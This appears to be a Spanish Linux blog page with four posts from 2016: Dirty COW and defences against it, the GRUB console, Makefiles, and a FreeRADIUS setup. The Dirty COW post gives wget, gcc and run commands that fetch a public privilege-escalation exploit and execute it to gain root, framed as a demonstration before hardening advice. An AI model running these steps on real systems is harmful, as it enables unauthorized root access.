Información blog

Linux, tutoriales, noticias, sistemas, redes y seguridad informática, entre otras cosas.

miércoles, 26 de octubre de 2016

Dirty COW: Qué es y cómo protegerse de ello

En la última semana hemos visto que una nueva vulnerabilidad llamativa ha creado bastante alboroto en la red, tanto por su peligrosidad como por el tiempo que ha estado "escondida" sin que nadie la vea. Dicha vulnerabilidad, llamada Dirty COW (Dirty Copy on Write) aprovecha un fallo en el código del Kernel para ejecutar un código y escalar privilegios, con lo que si bien este bug no ha sido catalogado cómo crítico (principalmente debido a que es una vulnerabilidad explotable a nivel local y no remoto) sí que es importante solucionarlo lo antes posible, pues si alguien toma el control remoto de la máquina, aunque sea a nivel de usuario, puede aprovechar el bug para escalar privilegios; más aún cuando hay bastantes exploits públicos circulando por Internet tales como este encontrado en exploit-db: https://www.exploit-db.com/exploits/40616/; exploits cuyo uso es tan fácil como compilarlos y ejecutarlos...

dirty_cow_imagen

Esta vulnerabilidad está lleva presente nada menos que 9 años, y consiste en que un usuario sin privilegios puede leer y escribir partes del sistema perteneciente a otros usuarios (incluyendo root), saltándose todas restricciones impuestas por los permisos del sistema. Esto se podría realizar en cualquier Kernel cuya versión se encuentre entre la 2.6.22 y la 3.9 (ambos inclusive), lo que abarca a bastantes versiones de kernel... Es cierto que cualquier sistema medianamente actual tiene una versión superior a la 3.9 pero... ¿Cuantos sistemas antiguos hemos visto por ahí? ¿Cuantos equipos pululan en el mundo que tienen sistemas operativos, Kernels y aplicaciones antiguas que funcionan bajo la premisa: "Funciona bien con lo que no lo toques"? Saber si nuestro núcleo es vulnerable o no, es tan sencillo como escribir el comando:

uname -r

unamer_bueno
Versión  del Kernel no vulnerable 

unamer_malo
Versión del Kernel vulnerable 

Para el que pueda dudar de la facilidad con la que se puede realizar la prueba de concepto con el exploit, hagamos la prueba sobre este equipo vulnerable que tenemos. Únicamente habría que descargar el exploit mediante wget, y llamarlo cowroot.c:

  1. wget https://www.exploit-db.com/download/40616 --no-check-certificate
  2. mv 40616 cowroot.c

Ahora con el exploit descargado, solamente habría que adaptarlo para que funcione bajo un arquitectura x86 o x64. Por defecto estaría preparado para entornos x64, pues son los más comunes hoy en día; en dicho caso únicamente habría que hacer:

  1. gcc -o cowroot.c -o COW -pthread
  2. chmod +x COW
  3. ./COW

Con esto ya seríamos root, pues el exploit está orientado a escalar privilegios para ser root; con lo que sin tener conocimientos de C ni haber hecho absolutamente nada que se pueda considerar complejo, hemos llegado a ser root, cosa harto preocupante, pues si bien solo se puede aprovechar la vulnerabilidad si se tiene acceso al equipo, el poder que ofrece este bug es preocupante... Aún así este post no está orientado a mostrar cómo usar este exploit sino a cómo poder evitar al susodicho o a casos parecidos...

Lo cierto es que para protegernos de este bug en concreto lo más seguro y sencillo es actualizar el kernel y listo, pero imaginemos que esto no basta, o peor aún que aún actualizando el kernel, vemos que hay vulnerabilidades parecidas en el futuro... ¿Cómo afrontar esto? Si lo pensamos con algo de profundidad, podemos ver que la mayoría de los exploits de este tipo requieren bajar un paquete para despues compilarlo y ejecutarlo en el propio equipo, con lo que podemos deducir que la compilación es un arma de doble filo.

Siempre se dice que lo ideal es tener lo mínimo instalado en un equipo o servidor, pues cosa que se tiene instalada, cosa que puede aprovecharse para entrar de forma no autorizada en el equipo o, este caso, para escalar privilegios... Y este es un caso que puede servirnos de ejemplo. ¿De qué nos sirve tener make y gcc instalados si no nos dedicamos a compilar paquetes habitualmente? O lo que es más: ¿Por qué podemos hacer dicha tarea tan importante sin que esto requiera tener ningún tipo de privilegio? Lo más fácil para evitar este tipo de problemas es simplemente desinstalar los paquetes make y gcc e instalarlos únicamente en momentos puntuales:

apt-get purge make gcc

Pero esto no siempre es una opción... Es por eso que si nos fijamos en los permisos que tiene el binario gcc, veremos que TODO el mundo tiene control TOTAL sobre éste, cosa que si bien a veces es cómodo, puede resultar contraproducente.

gcc_binario

Una forma de evitar que cualquiera compile en nuestro equipo es limitar los permisos de este binario para que únicamente root pueda usarlo; lo cual sería tan sencillo como hacer:

chmod 700 /usr/bin/gcc

Esto haría que solamente los usuarios con las credenciales de root puedan usar este binario, lo cual haría que gcc siguiese siendo usable pero que al mismo añadiría una capa de seguridad extra a nuestro equipo.

Cualquiera de estas dos medidas, no solo nos protegerían de Dirty COW, sino que de otras posibles futuras amenazas que requiriesen compilación local; haciendo que nuestro sistema sea, al menos, un poco más robusto de lo que era antes.

Aún así, esto también nos puede servir como una pequeña demostración de la importancia de mantener nuestros sistemas actualizados, ya que las versiones más "recientes" del Kernel están exentas de esta vulnerabilidad.

Espero que os haya resultado útil.

Saludos.

jueves, 20 de octubre de 2016

Cómo usar la consola de GRUB y no morir en el intento

GRUB es indudablemente un gestor de arranque increíblemente popular cuyo funcionamiento tanto a nivel de uso como de configuración es muy sencillo... Es cierto que con la implantación de GRUB2 la dificultad ha aumentado ligeramente, pero en esencia el concepto ha persistido. Anteriormente se ha tratado temas tales como la seguridad que hay que tener en cuenta en GRUB, pues permite hacer cosas increíblemente peligrosas con una asombrosa facilidad; pero hoy quiero hablar sobre un aspecto de GRUB que da mucho respeto a todos los usuarios, desde los recién iniciados a los más veteranos... Hablo por supuesto de la temida consola... pero no de la consola de shell que todo el mundo conoce, sino de la consola de GRUB

Grub_console

Así es, GRUB también posee una consola; una consola a la que generalmente no necesitaremos acceder, pero que está allí, disponible para todo aquel que la quiera usar y que puede ayudarle a uno a realizar cosas que el menú de GRUB de por sí no permite... Lo mejor que podemos hacer para experimentar con dicha consola en nuestras propias carnes es arrancar cualquier sistema Linux que tenga el gestor de arranque GRUB/GRUB2 y tan pronto como nos aparezca el menú de selección de sistema operativo y/o kernel pulsaremos la tecla c. Tan pronto como pulsemos dicha tecla, entraremos en el modo consola el cual si bien tiene una ligera similitud con la shell tradicional, nuestros conocimientos sobre la susodicha no nos servirán de mucho... 

La primera recomendación que haría al entrar en esta consola sería que se activase la paginación de ésta... ¿Este cambio que implicaría? Que en caso de que un comando nos mostrase un resultado que no cupiese dentro de la pantalla, nos paginaría el resultado para poder leer el contenido integro de la salida del comando; cosa especialmente útil al intentar recurrir a la ayuda de la consola, que generalmente nos mostrará bastante contenido... Esta paginación se activaría mediante este pequeño comando:

set pager=1

Gracias a lo que acabamos de hacer dispondremos de una cierta "comodidad"; ahora bien... ¿Qué podemos hacer en este punto? Esta consola nos permite conocer qué dispositivos USB tenemos conectados o qué puertos COM tenemos disponibles mediante los comandos: usb y serial, respectivamente. 

Obviamente también tenemos algunos comandos que nos recordarán a shell, comandos típicos tales como halt (para apagar el equipo), reboot (para reiniciarlo) cat o clear; comandos que funcionan exactamente igual que en una shell normal y corriente, si bien existe una excepción: Uno de los comandos más famosos que funciona ligeramente distinto a lo que estamos acostumbrados; ls.

Este comando cumple su función, que es el listado de directorios, pero la cuestión está que al no hallarnos dentro de ninguna unidad (lógico debido a que todavía no hemos "arrancado" nada), no nos haría un listado de los típicos directorios de Linux tales como home o etc... Este comando nos hará un listado de las particiones y discos disponibles. He aquí una pequeña captura de la salida de dicho comando:

ls_grub

Además debemos tener presente que podemos usar/declarar variables de entorno tal y como podemos hacer en una shell corriente mediante el comando set, cosa que si bien nos puede parecer extraño en un entorno tan limitado como éste, nos puede resultar muy útil.

Por otro lado tenemos varios comandos especialmente útiles que serían exactamente dos tres:

  • linux: Así es, el comando tiene dicho nombre y tiene una gran función: Especificar a qué Kernel queremos apuntar; Kernel que más adelante podría ser arrancando desde la consola de GRUB. Es un comando muy útil, tal y como veremos más adelante.
  • initrd: Especifica a qué fichero initrd queremos apuntar... El fichero initrd (Initial RAM Disk) se encarga de cargar un sistema de ficheros temporal que ayudaría a que ayudaría al Kernel a ejecutar algunas funciones.  El fichero initrd al que apuntaríamos tendría la misma versión que el kernel, pues en caso contrario habría problemas... Tal vez nos parezca un concepto complicado, pero más adelante veréis que no es así.
  • boot: Arranca el sistema operativo que hemos seleccionado previamente gracias a la combinación de los dos comandos anteriores.

Pasemos a la parte más seria de esta consola... Hasta ahora hemos visto los características globales y lo que nos puede ofrecer pero... ¿En qué nos puede servir este conocimiento más allá de la mera curiosidad? La consola de GRUB rara vez será usada por nosotros pero en verdad os digo que habrá momentos cruciales en los que nos salvará la vida. Imaginemos que el GRUB se ha corrompido y que no nos aparece el menú de selección de sistema operativo/kernel sino que directamente nos aparece la consola o que el menú nos aparece pero que no apunta correctamente al sistema que queremos cargar... En casos tan raros, pero extremos, como esos, es cuando esta consola cobra una enorme relevancia... Es por eso que a continuación os enseñaré el uso más común que se le da a esta consola: El arranque "manual" de un sistema operativo desde la consola de GRUB.

En caso de vernos en dicha situación, lo primero que tendríamos que hacer es realizar el comando ls, tal y como hemos realizado anteriormente... Allí veremos un listado parecido al de la anterior captura, el cual nos será especialmente informativo... Generalmente lo que buscaremos será que arranque la primera partición del primer disco duro, es decir hd0,msdos1, pero para ello tendremos que saber qué arrancar de de dicha partición; es por eso que haremos un listado de dicha partición mediante ls, pero en concreto listaremos el directorio boot de dicha partición, directorio que almacena tanto las imágenes de kernel como los ficheros initrd.

ls (hd0,msdos1)/boot/

Allí veremos un listado de fichero que empezarán o por vmlinuz o por initrd.img.

ls_boot

Si nos fijamos bien, ambos ficheros comparten la misma versión, cosa que debe de ser así, con lo que a sabiendas de que dicho dato es cierto y que conocemos sus nombres completos (que incluyen su número de versión) podremos pasar al siguiente paso... Que será la selección de la partición que tiene el sistema de ficheros raíz (/). Hemos visto que dicha partición hd0,msdos1, que se puede abreviar como hd0,1, con lo que lo primero que haremos será realizar dicha especificación:

set root=(hd0,1)

Ahora que tenemos dicha especificación realizada, podríamos pasar al procedimiento que arrancará el sistema, procedimiento que se basa en la combinación de los tres comandos "especiales" arriba mencionados. Basándonos en el resultado de nuestro último ls, los comandos serían los siguiente:

  1. linux /boot/vmlinuz-3.16.0-4-686-pae root=/dev/sda1
  2. initrd /boot/initrd.img-3.16.0-4-686-pae
  3. boot

Si observáis bien, en esta ocasión no mencionaremos el nombre de la partición debido a que anteriormente hemos mencionado dicha partición mediante el comando set. Además veréis que en el comando linux hemos añadido la sintaxis root=/dev/sda1. ¿Cómo sabemos que es sda1 y no otro número? Eso lo sabremos gracias al nombre de la partición: hd0 sería equivalente a sda, hd2 a sdb... y así sucesivamente mientras que el último dígito permanecería intacto; es decir que si por ejemplo tuviésemos hd0,1 sería /dev/sda1 mientras que si tuviésemos hd3,2, tendríamos /dev/sdd2. Tras aplicar ambos comandos linux e initrd, pasaríamos a ejecutar el comando boot, con el que arrancaríamos el sistema operativo de la misma forma de que lo habríamos hecho en el propio menú de GRUB, solo que mediante un método mucho más artesanal.

Como podéis ver, la consola de GRUB guarda menos misterios de los que a primera vista parece, solamente hay que perderle el miedo para descubrir que nos puede sacar de más de un atolladero.

Espero que os haya resultado útil.

Saludos.

viernes, 14 de octubre de 2016

Cómo crear nuestro propio Makefile

Si bien este blog no está especialmente orientado al área del desarrollo, existen varios conceptos que son convenientes conocer, ya sean en el área de sistemas o de desarrollo... El conocimiento siempre es útil, y si bien es imposible saber todo, hay cosas que son recomendables conocer, aunque sea de oídas o de pasada. Uno de esos conceptos que, en mi opinión, es útil tenerlo presente, es la creación de nuestro propio Makefile; tanto para crear uno en el futuro como para entender su funcionamiento.

tux_make

Para empezar es importante conocer la utilidad de este fichero tan peculiar, para lo cual lo mejor que podemos hacer es ponernos en una situación hipotética. Generalmente, cuando nos bajamos un paquete comprimido que queremos instalar en Linux, lo que hacemos es descomprimirlo, entrar en él y ejecutar los comandos make y make install... Esto no es debido a que el comando make instalado en el ordenador haga "magia", sino debido a que dicho comando coge como referencia el fichero Makefile presente en la carpeta en cuestión, que hace que un proceso largo y complicado, sea realmente sencillo de realizar, pero... ¿Qué hace dicho fichero? ¿Qué pasaría si no tuviesemos dicho fichero? El Makefile realiza las tareas de compilación que normalmente nosotros deberíamos ejecutar a mano, tareas tediosas que habría que realizar una por una. Además la carencia de un Makefile también hace que en caso de que se compartiese el código con otra persona, ésta tendría que compilar todo fichero por fichero; tareas muy incomoda para cualquiera.

La mejor forma de ver esto es con un sencillo ejemplo; imaginemos que tenemos estos tres trozos de código:

Un fichero llamado test.h:
  1. #ifndef H_TEST
  2. #define H_TEST
  3. void Test(void);
  4. #endif

Un fichero llamado test.c:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. void Test(void)
  4. {
  5.     printf ("Hello World\n");
  6. }

Y por último un fichero llamado main.c:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include "test.h"
  4. int main()
  5. {
  6. Test();
  7. return 0;
  8. }

Estos fichero están completamente separados y son en estos momentos inservibles, pues no puede ser ejecutado el código en estos momentos; es necesario que lo compilemos para obtener de ellos un binario (lo que en muchos casos es considerado como un programa) que ejecute dicho código. Este proceso se realizaría de la siguiente forma si lo hiciésemos a mano:

  1. gcc -o test.o -c test.c
  2. gcc -o main.o -c main.c
  3. gcc -o test test.o main.o

Luego únicamente tendríamos que ejecutar el fichero como un programa normal y corriente:

  1. ./test
  2. Hello World

Este proceso en sí ha sido muy sencillo, pues únicamente hemos tenido que tratar 3 ficheros... Pero imaginemos que son 20, o 100, o 1000... Y no solo eso, sino que además queremos que ese código lo puedan usar más personas... Eso no solo no es práctico, sino que es una locura y ahí es donde ganan una enorme importancia los Makefile; ahora bien... ¿Cómo podemos crear uno? Por ejemplo: ¿Cómo podemos crear un Makefile basado en el caso anterior? El Makefile en cuestión tomaría el siguiente aspecto (Es muy importante que la líneas que comienzan por gcc empiecen con una tabulación):

  1. test: test.o main.o
  2.         gcc -o test test.o main.o

  3. test.o: test.c
  4.         gcc -o test.o -c test.c

  5. main.o: main.c test.h
  6.         gcc -o main.o -c main.c

¿Éste pequeño apartado que que significa? Analicemos las líneas para tener una clara percepción de lo que representan:

  • Para obtener el binario test necesitamos que existan los ficheros test.o y main.o; en caso de ser así se realizaría la compilación mediante comando: "gcc -o test test.o main.o".
  • Para obtener el fichero test.o es necesario que exista el fichero test.c; en cuyo caso se ejecutaría el comando: "gcc -o test.o -c test.c".
  • Para obtener el fichero main.o, es necesario que existan tanto main.c como test.h; al cumplirse dichas condiciones ejecutaría el comando: "gcc -o main.o -c main.c".

Este Makefile que hemos creado es perfectamente funcional y si tuviésemos un directorio con los tres ficheros de antes y el fichero Makefile que hemos creado, con simplemente ejecutar el comando make, tendríamos nuestro binario... La cuestión está en que el este fichero es un poco simple, con lo que lo ideal sería entender un fichero más complejo y real, si bien con lo que hemos visto ya entenderíamos su esencia... Generalmente un makefile incluye dos "reglas" especiales llamadas all y clean que son ejecutadas cuando escribimos "make clean" o "make all"... Además los ficheros de cierta envergadura suelen usar variables parecidas a las usadas en bash, con lo que vamos a potenciar el anterior ejemplo para que, por un lado tenga dos nuevas reglas, y por otro lado use algunas variables.

  1. CC=gcc
  2. EXEC:test
  3.  
  4. all: ${EXEC}
  5.  
  6. ${EXEC}: test.o main.o
  7.         ${CC} -o test test.o main.o
  8.  
  9. test.o: test.c
  10.         ${CC} -o test.o -c test.c
  11.  
  12. main.o: main.c test.h
  13.         ${CC} -o main.o -c main.c
  14.  
  15. clean:
  16.         rm -rf *.o

Las variables creadas son simplemente dos: Una para elegir el comando que se usa para la compilación y que en caso de realizar un cambio, se haga de forma global (gcc) y otro para elegir el nombre que adoptará el binario... Además si os fijais hay dos nuevas "reglas", tal y como he comentado antes que añadiríamos cuya función sería:

  • all: Ejecuta todo lo necesario para compilar el proyecto; generalmente no es necesario debido a que make ya lo hace, pero a veces conviene usarlo para estar seguros.
  • clean: Limpia todos los ficheros .o generados durante el proceso de compilación.

Con esto ya tendríamos un Makefile mucho más completo y realista, pudiendo ser capaces de, no solo crear un Makefile, sino sobre todo entenderlo para así cuando se nos presente uno cuyo comportamiento no nos convenzca, podamos comprender y modificar su comportamiento.

Espero que os haya resultado útil.

Saludos.

jueves, 6 de octubre de 2016

Creando un servidor RADIUS con FreeRadius

Las redes inalámbricas se han convertido en unos elementos indispensables en nuestro día a día gracias a la gran flexibilidad que nos ofrecen... Sin cables, sin estar atados a un lugar en concreto, estamos rodeados de dichas redes sin apenas darnos cuenta de ello, haciendo que la seguridad de éstas sea un elemento muy a tener en cuenta. Anteriormente ya he hablado sobre los peligros de conectarse a una red wifi sin contraseña pero... ¿Qué pasa con aquellas redes en las que hayamos puesto una contraseña cifrada? Existen numerosas medidas de seguridad para asegurarnos que no se conectan personajes indeseados tales como el uso de un cifrado robusto (actualmente el más seguro sería WPA2/AES), el filtrado de direcciones MAC, el ocultamiento del SSID... La combinación de estas medidas nos ofrece un buen nivel de seguridad pero si deseásemos ir un paso más allá y tener una seguridad todavía más robusta, la mejor opción de todas sería el optar por un servidor RADIUS, del cual voy a hablar hoy.

free_radius

RADIUS (Remote Authentication Dial In User Service) es un protocolo que sirve para autenticar y autorizar el acceso a una red. Dicho protocolo puede ser usado en cualquier entorno de red, pero es especialmente recomendando para redes wifi. Al usar dicho protocolo estaríamos enviando un usuario y contraseña a un servidor RADIUS, que tras comprobar si efectivamente las credenciales son correctas, nos autorizaría el acceso a la red y posibilitaría la obtención de IP, máscara de red, puerta de enlace, etc... Esto plasmado gráficamente sería algo como lo siguiente:

Diagrama_RADIUS

Esto ofrece como desventaja el hecho de que requiere un dispositivo que esté permanentemente encendido y conectado a la red, cosa que en un entorno empresarial puede ser sencillo, pero que en entornos domésticos no lo puede ser tanto y que lo que más se puede acercar sería una raspberry pi. Aún así, un dispositivo de tan reducidas dimensiones y características nos podría servir perfectamente como servidor RADIUS con lo que al ser una opción económica y viable, me centraré en instalar un servidor RADIUS en dicho dispositivo; en concreto en una Raspberry pi con Raspian 8 instalado; dicha instalación sería perfectamente válida en sistemas equiparables tales como Debian 8, con lo que en caso de no disponer de una raspberry, podéis probar este concepto sobre una Debian "corriente".

Para empezar es necesario tener instalado un entorno LAMP, pues para que este servidor funcione necesitaremos tener un servidor MySQL y ciertas librerías dependientes de LAMP... No haría falta tenerlo siquiera configurado, únicamente con tener instalados las paquetes sería necesario con lo que lo primero que habría que hacer antes de nada sería:

  1. apt-get update
  2. apt-get install apache2  mysql-server php5

Con los requisitos cumplidos, pasaríamos a instalar la herramienta que convertirá nuestra raspberry en un servidor RADIUS; herramienta que en este caso será FreeRadius. Además, para que FreeRadius se pueda comunicar con la base de datos MySQL, necesitaremos instalar el complemento freeradius-mysql, pues en caso contrario no podrá haber comunicación entre ambos y no podremos configurar el servidor RADIUS correctamente. Esto es tan sencillo como hacer:

  1. apt-get -y install freeradius && service freeradius start
  2. apt-get -y install freeradius-mysql

Con esto tendríamos los componentes instalados, pero ni mucho menos están configurados... Aquí veréis que a cada pequeño paso que vaya haciendo iré haciendo comprobaciones, esto se debe a que es muy fácil equivocarse, y en caso de ir comprobando poco a poco podremos encontrar mucho mejor la causa del problema, ya que si comprobamos que efectivamente funciona tras configurar todo, tendremos que revisar absolutamente todo punto por punto.

Lo primero que haremos será crear un pequeño usuario de prueba que usaremos para ver que, por lo menos podemos realizar la comprobación más básica; una comprobación a nivel local que hará que comprobemos que freeradius es capaz de funcionar con la configuración mínima. Para ello tendremos que editar el fichero /etc/freeradius/users y veremos que hay un usuario cuya información está completamente comentada (es decir que no existe dicho usuario). Simplemente habría que descomentar el nombre de usuario y su contraseña, además de cambiar dichos datos a nuestro gusto tal y como muestro en el siguiente ejemplo:

user_radius

Con esto hecho, tendríamos que reiniciar el servicio freeradius para aplicar los cambios:

service freeradius restart

Ahora llegaría el turno de hacer la primera prueba, que sería la más básica y la que menos probabilidades tiene de fallar; toda prueba se realizará mediante el comando radest que siempre tendría la siguiente estructura:

radtest usuario contraseña_usuario ip_de_origen puerto_servidor contraseña_servidor

Para este caso en concreto el comando sería ejecutado localmente (es decir a nivel de localhost) y sería el siguiente:

radtest radius radius 127.0.0.1 1812 testing123

El puerto de escucha siempre sería el 1812, ya sea haciendo pruebas a nivel local (localhost) o remoto. La contraseña del servidor, sería la contraseña que usaría el servidor RADIUS para hacer las pruebas en local, contraseña que por defecto sería testing123 y que no sería necesario cambiar al ser únicamente usada para las pruebas en localhost. La prueba nos tendría que devolver el siguiente mensaje:

autenticar_radtest

Toda prueba que se realice exitosamente tiene que terminar con el mensaje rad_recv: Access-Accept; en caso de que hiciésemos algo incorrecto, dicho mensaje sería rad_recv: Access-Reject, con lo que es muy importante prestar atención al mensaje final, pues dictaminará el resultado de la prueba.

Con la primera prueba pasada exitosamente, tocaría empezar a interactuar con la base de datos a nivel local... De momento hemos hecho una prueba con un usuario de prueba, pero ahora habría que empezar a crear usuarios reales en nuestra base de datos MySQL y ver si la comunicación entre FreeRadius y ésta se realiza exitosamente y si es capaz de validar nuestros usuarios como debe ser. Para ello lo primero que tendremos que hacer será preparar nuestro servicio RADIUS para que sea capaz de comunicarse con la base de datos; esto se consigue editando primero el fichero /etc/freeradius/sites-available/default y descomentando dos líneas en concreto dentro de dicho fichero, dos líneas llamadas sql que van precedidas por el caracter #; carácter que habría que eliminar. Esas líneas se encuentran debajo de las líneas "Authoritation Queries" y "Accounting queries"; para que os situéis mejor os dejo debajo una pequeña unión de dos capturas que muestran tanto una ubicación aproximada como el cómo tendrían que quedar (como veis, sql no está precedida por el caracter #):

sql_enable_radius

Ahora modificaríamos el usuario y contraseña por defecto usada en las conexiones SQL con el fin de evitar que algún fortificar un poco la seguridad. Esto se logra editando los parámetros login y password dentro del fichero /etc/freeradius/sql.conf; en mi caso por ejemplo he puesto las siguientes credenciales:

login_radius

Estas credenciales son ficticias y pueden ser cualquier otras, pero lo realmente importante es cambiar las credenciales de acceso por defecto.

Bien, ahora que tenemos la comunicación con la base de datos preparada, faltaría crear dicha base de datos y llenarla con las tablas y datos correspondientes... Esto puede parecer muy complicado, pero la instalación de freeradius-mysql incluye una serie de SQLs que acelerarán en gran medida dicha tarea, pues dichos SQLs crearán las tablas correspondientes en nuestra base de datos; tablas vacías, pero tablas al fin y al cabo. Comencemos entrando a MySQL... Esto realmente sencillo pues el comando sería:

mysql -u root -p

La contraseña sería aquella que nos habrán pedido introducir durante la instalación de mysql-server, no aquella que hemos puesto ahora en sql.conf, pues son credenciales completamente distintas con diferentes propósitos. Dentro de MySQL, el primer paso e indispensable sería la creación de la base de datos en cuestión... freeradius apunta por defecto a la base de datos radius, con lo que nosotros crearemos una base de datos con dicho nombre:

create database radius

La base de datos está creada, pero necesitamos que freeradius pueda acceder a ésta... Es por eso que necesitamos crear un usuario; un usuario con las mismas credenciales que las puestas antes es sql.conf y que tenga permisos para manejar la base de datos a su antojo. Esto se logra mediante estos dos comandos:

  1. create user ivan@localhost identified by "ivan";
  2. grant all on radius.* to ivan@localhost;

Allí donde pone ivan@ deberíamos poner el usuario puesto en el apartado login de sql.conf y en la sección identified by habría que poner la contraseña puesta en el dicho fichero. Es muy importante que la contraseña se encuentre entre comillas tal y como he puesto en el ejemplo. Con todos los preparativos de la base de datos listos, llegaría el turno de usarla e insertarle las nuevas tablas que se obtiene de un sql llamado schema.sql, alojado dentro de /etc/freeradius/sql/mysql/, junto con otros sqls que contienen otras tablas. Todo esto se logra tal que así:

  1. use radius;
  2. source schema.sql;

Esto creará un buen número de tablas vacías que podemos ver mediante el comando:

show tables;

La tabla que nos interesaría a nosotros en concreto sería la tabla radcheck, pues contiene el listado de usuarios que puede acceder al servidor RADIUS. La mejor forma de saber qué añadir aquí, es conociendo primero que campos tiene esta tabla.

describe radcheck

radcheck

Es importante tener en cuenta el significado de cada campo:

  • id: Identificador único que no tenemos necesidad de introducir pues es un valor numérico  incremental (1,2,3...).
  • username: Nombre de usuario.
  • attribute: Este campo SIEMPRE tiene que tener el valor 'password'. 
  • op: Este campo SIEMPRE tiene que tener el valor '=='.
  • value: Contraseña.

Teniendo estos conceptos claros, podemos preparar una query de inserción que añada una nueva línea a la tabla con los datos del nuevo usuario; por ejemplo:

INSERT INTO radcheck(username,attribute,op,value) VALUES('admin','password','==','admin');

Si la inserción es exitosa solamente tendríamos que salir.

exit

Con todo esto realizado, al haber hecho también varios cambios en freeradius, reiniciaremos el servicio freeradius de nuevo.

service freeradius restart

Ahora llegaría el turno de la segunda prueba, esta prueba comprobará si el usuario que hemos creado se puede autenticar correctamente en freeradius; esta prueba se haría en local, con lo que la prueba se parecerá bastante a la anterior con excepción del usuario.

radtest admin admin 127.0.0.1 1812 testing123

En caso de habernos dado un resultado exitoso podríamos continuar; en caso contrario tendríamos que volver a revisar los pasos realizados y ver en qué nos hemos podido equivocar. Como veis la única diferencia es que en este caso estaríamos autenticándonos con un usuario que hemos almacenado dentro de la base de datos sql.

Ahora quedaría un último paso, y es que esta autenticación pueda realizarse por equipos remotos... De nada sirve que preparemos todo esto si únicamente podemos autenticarnos a nivel local... Es por eso que tenemos que preparar freeradius para que los clientes remotos puedan interactuar con éste. Para ello lo primero que habría que hacer sería habilitar la autenticación de clientes remotos en freeradius, lo cual se hace descomentando (eliminando la #) la línea readclients=yes dentro del fichero /etc/freeradius/sql.conf. He aquí una captura de dicha sección:

read_clients

Además, cuando habilitamos la autenticación de clientes remotos, hacemos que la base de datos tenga que consultar qué clientes remotos pueden autenticarse, clientes que consulta dentro de la tabla nas. Desgraciadamente carecemos de dicha tabla en nuestra base de datos, de momento, con lo que lo primero que tendremos que hacer será crearla para después introducir datos en ésta. Para ello tendremos que entrar en la base de datos radius que hemos creado antes:

mysql -u root -p radius

Dentro de la base de datos habría que "importar" dos nuevos sqls: nas.sql y ippool.sql.

  1. source ippool.sql;
  2. source nas.sql;

Con estos nuevos sources, ahora tendremos que consultar la tabla nas, tal y como hemos hecho antes con radcheck, con el fin de saber qué campos tiene la susodicha.

describe nas;

tabla_nas

Los campos que nos interesarían serían:

  • id: Identificador único que no tenemos necesidad de introducir pues es un valor numérico  incremental (1,2,3...).
  • nasname: IP/hostname del cliente que se va a conectar desde el exterior al servidor radius y a través del cual se enviarán las credenciales de autenticación enviadas desde los equipos que se conecten a la red wifi. Esto generalmente será la IP del router, si bien para probar que funciona tenemos que poner la ip de nuestra raspberry, pues si nos conectamos desde una ip que no esté presente en la tabla y que no sea localhost, freeradius nos denegará cualquier interacción con él.
  • shortname: Un nombre descriptivo del cliente radius.
  • type: Este valor SIEMPRE será other.
  • secret: Clave que el cliente RADIUS (generalmente el router) tendrá que usar para autenticarse con el servidor RADIUS y ser capaz de transmitirle las peticiones de autenticación de aquellos que se van a conectar a la red inalámbrica.
A sabiendas de esto, podemos usar usar esta query para insertar una nueva línea válida en la tabla:

INSERT INTO nas (nasname, shortname, type, secret) VALUES ('192.168.1.5','test','other','radius');

En caso de ser una sentencia válida, podriamos salir de MySQL mediante:

exit

Una vez más tocaría reiniciar freeradius para aplicar los cambios que hemos realizado antes en el fichero sql.conf:

service freeradius restart

Ahora llegaría el turno de la prueba final, con la cual ya verificaremos que nuestro servicio freeradius es plenamente funcional tanto para autenticaciones internas como externas; la prueba se haría una vez más con radtest, pero variando la ip de origen y la contraseña de acceso para el servidor radius:

radtest admin admin 192.168.1.5 1812 radius

En caso de ser exitoso, ya tendríamos el servidor RADIUS preparado para recibir autenticaciones desde el exterior; únicamente tendríamos que añadir una nueva línea en la tabla nas que hiciese referencia a la ip del autentico cliente RADIUS (router) y configurar dicho cliente para que apuntase al servidor RADIUS en las tareas de autenticación, cuyo procedimiento variaría dependiendo del modelo y marca del router.

Espero que os haya resultado útil.

Saludos.